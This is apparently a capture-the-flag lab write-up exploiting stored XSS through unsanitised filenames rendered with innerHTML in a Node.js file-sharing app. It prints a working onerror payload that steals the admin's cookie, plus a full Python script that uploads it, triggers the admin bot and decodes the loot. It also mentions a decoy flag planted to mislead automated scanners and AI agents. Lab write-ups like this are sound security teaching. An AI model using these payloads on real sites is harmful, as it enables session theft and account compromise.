Lab 393 — ShareVault — Stored XSS via File Browser innerHTML
Lab 393 — ShareVault — Stored XSS via File Browser innerHTML
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-08 | Status: Solved Techniques: admin_bot_trigger, base64_eval_payload, formdata_exfiltration, innerHTML_injection, stored_xss_via_filename
Summary
Task: Express/Node.js file sharing platform renders uploaded filenames via innerHTML without sanitization; admin bot reviews reported files. Solution: stored XSS via malicious filename with img onerror handler, exfiltrate admin's non-HttpOnly cookie by uploading a new file with stolen data encoded in the filename via FormData+fetch.
Lab 393 — ShareVault — Stored XSS via File Browser innerHTML — HackAdvisor
Description
ShareVault is a file sharing platform built by Vaultify Inc. for teams to upload, organize, and share documents securely. Users can upload files, browse shared content, manage their profiles, and share files with teammates. The platform is used daily by the Vaultify team, and an administrator regularly reviews uploaded files for compliance violations. Users can report suspicious files, which triggers an admin review of the file browser. The goal is to find and exploit a client-side vulnerability in the application that allows you to steal a secret stored in the admin's browser.
Credentials: user@test.com / password123
English summary: Express/Node.js file sharing application where users upload files, browse them, and report suspicious content. An admin bot visits the file browser page when a file is reported. The goal is to exploit a client-side vulnerability to steal a secret from the admin's browser.
Analysis
Initial Reconnaissance
- Logged in with provided credentials (
user@test.com/password123) - Application is an Express/Node.js app with pages: Dashboard (
/), File Browser (/files), Upload (/upload), Shared With Me (/shared), Profile (/profile) - Cookie
connect.sidis HttpOnly + SameSite=Lax — cannot be stolen viadocument.cookie - File Browser page loads files dynamically via
/api/filesJSON endpoint and renders them with JavaScript (/js/files.js) - Users can report files via
/api/reportPOST endpoint, which triggers an admin bot to review the file browser - Decoy trap: Every page contains a fake flag
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}in hidden HTML and comments, designed to trick automated scanners and AI agents
Identifying the Vulnerability
In /js/files.js, the renderFiles() function builds HTML by directly concatenating the filename from the API response without any sanitization:
javascript read-only • copy allowedhtml += '<div class="file-card-name">' + f.filename + '</div>';
The assembled HTML string is then set via grid.innerHTML = html;. The server does NOT sanitize filenames on upload — HTML/JS in the filename is stored as-is in the database. The /shared page uses safe textContent assignment, but /files uses unsafe innerHTML.
Key Constraints
innerHTMLdoes not execute<script>tags — must use event handlers like<img onerror=...>- Filename length limit is ~240 characters — server returns 500 for longer filenames
- Double quotes break multipart upload — Python
requestsputs filenames in double quotes in theContent-Dispositionheader, so double quotes in the filename break parsing - Session cookie is HttpOnly —
document.cookiewon't captureconnect.sid, but the admin has a separate non-HttpOnly cookieadmin_secretcontaining the flag - External exfiltration unreliable — the admin bot may not be able to reach external hosts (webhook.site, interact server)
Exfiltration Strategy
Since external webhooks are unreliable, use the XSS to make the admin's browser upload a new file back to the same application via fetch() + FormData, encoding the stolen cookie data in the filename with btoa(). This creates a same-origin data channel readable by any authenticated user through /api/files.
Solution
Step 1: Craft the XSS Payload
The JavaScript to execute in the admin's browser:
javascript read-only • copy allowedvar f=new FormData(); f.append('file',new Blob(['x']),'EXFIL_'+btoa(document.cookie)+'.txt'); fetch('/upload',{method:'POST',body:f});
This is base64-encoded to avoid quote issues in the multipart filename:
dmFyIGY9bmV3IEZvcm1EYXRhKCk7Zi5hcHBlbmQoJ2ZpbGUnLG5ldyBCbG9iKFsneCddKSwnRVhGSUxfJytidG9hKGRvY3VtZW50LmNvb2tpZSkrJy50eHQnKTtmZXRjaCgnL3VwbG9hZCcse21ldGhvZDonUE9TVCcsYm9keTpmfSk7
The full filename payload (210 chars, under the 240 limit):
html read-only • copy allowed<img src=x onerror=eval(atob('dmFyIGY9bmV3IEZvcm1EYXRhKCk7Zi5hcHBlbmQoJ2ZpbGUnLG5ldyBCbG9iKFsneCddKSwnRVhGSUxfJytidG9hKGRvY3VtZW50LmNvb2tpZSkrJy50eHQnKTtmZXRjaCgnL3VwbG9hZCcse21ldGhvZDonUE9TVCcsYm9keTpmfSk7'))>
Step 2: Upload, Report, and Retrieve
python read-only • copy allowed#!/usr/bin/env python3 """ ShareVault Stored XSS exploit — exfiltrate admin cookie via same-origin file upload """ import requests import time import base64 TARGET = "https://INSTANCE.labs.hackadvisor.io" # 1. Login s = requests.Session() s.post(f"{TARGET}/login", data={"username": "user@test.com", "password": "password123"}, allow_redirects=False) # 2. Craft XSS payload — steal document.cookie via file upload exfiltration js = ("var f=new FormData();" "f.append('file',new Blob(['x']),'EXFIL_'+btoa(document.cookie)+'.txt');" "fetch('/upload',{method:'POST',body:f});") b64 = base64.b64encode(js.encode()).decode() payload = f"<img src=x onerror=eval(atob('{b64}'))>" print(f"Payload length: {len(payload)}") # 210 chars — fits under 240 limit # 3. Upload file with XSS filename files = {'file': (payload, b'test', 'text/plain')} r = s.post(f"{TARGET}/upload", files=files) print(f"Upload: {r.status_code}") # 4. Find and report the XSS file to trigger admin bot r = s.get(f"{TARGET}/api/files") for f in r.json(): if "onerror" in f.get('filename', '') and "atob" in f.get('filename', ''): r = s.post(f"{TARGET}/api/report", json={"fileId": f['id'], "reason": "suspicious"}) print(f"Reported file ID={f['id']}: {r.status_code}") # 5. Wait for admin bot to visit /files and trigger the XSS print("Waiting 25 seconds for admin bot...") time.sleep(25) # 6. Retrieve exfiltrated data from the file the admin's browser uploaded r = s.get(f"{TARGET}/api/files") for f in r.json(): if 'EXFIL' in f['filename']: b64_data = f['filename'].replace('EXFIL_', '').replace('.txt', '') decoded = base64.b64decode(b64_data).decode() print(f"Exfiltrated cookie: {decoded}") # Output: admin_secret=FLAG{REDACTED}
Attack Flow
- Upload a file whose filename is
<img src=x onerror=eval(atob('...'))>— the server stores it unsanitized - Report the file via
/api/report— this triggers the admin bot to visit/files - Admin bot visits
/files— therenderFiles()function fetches/api/files, concatenates our malicious filename into HTML, and sets it viainnerHTML <img>tag renders —src=xfails to load,onerrorfires,eval(atob(...))executes our JavaScript- Our JS runs in admin's browser — creates a
FormDatawith aBlob, sets the filename toEXFIL_+ base64-encodeddocument.cookie, andfetches/upload - Admin's browser uploads a new file — the filename contains the base64-encoded
admin_secretcookie - We read
/api/files— find theEXFIL_*file, decode the base64 from the filename →admin_secret=FLAG{...}
What Didn't Work
- External webhook exfiltration (webhook.site): The bot likely couldn't reach external hosts, or the filename with
https://URL got mangled by multipart parsing - Interact server via
new Image().src: Unclear if the bot could resolve theinteracthostname; also unreliable <script>tags:innerHTMLdoes not execute script elements — only event handlers work- Double quotes in filename: Break the multipart
Content-Dispositionheader parsing, causing filename truncation - Backtick template literals: Also caused truncation issues with some parsers
- Long payloads (>240 chars): Server returns HTTP 500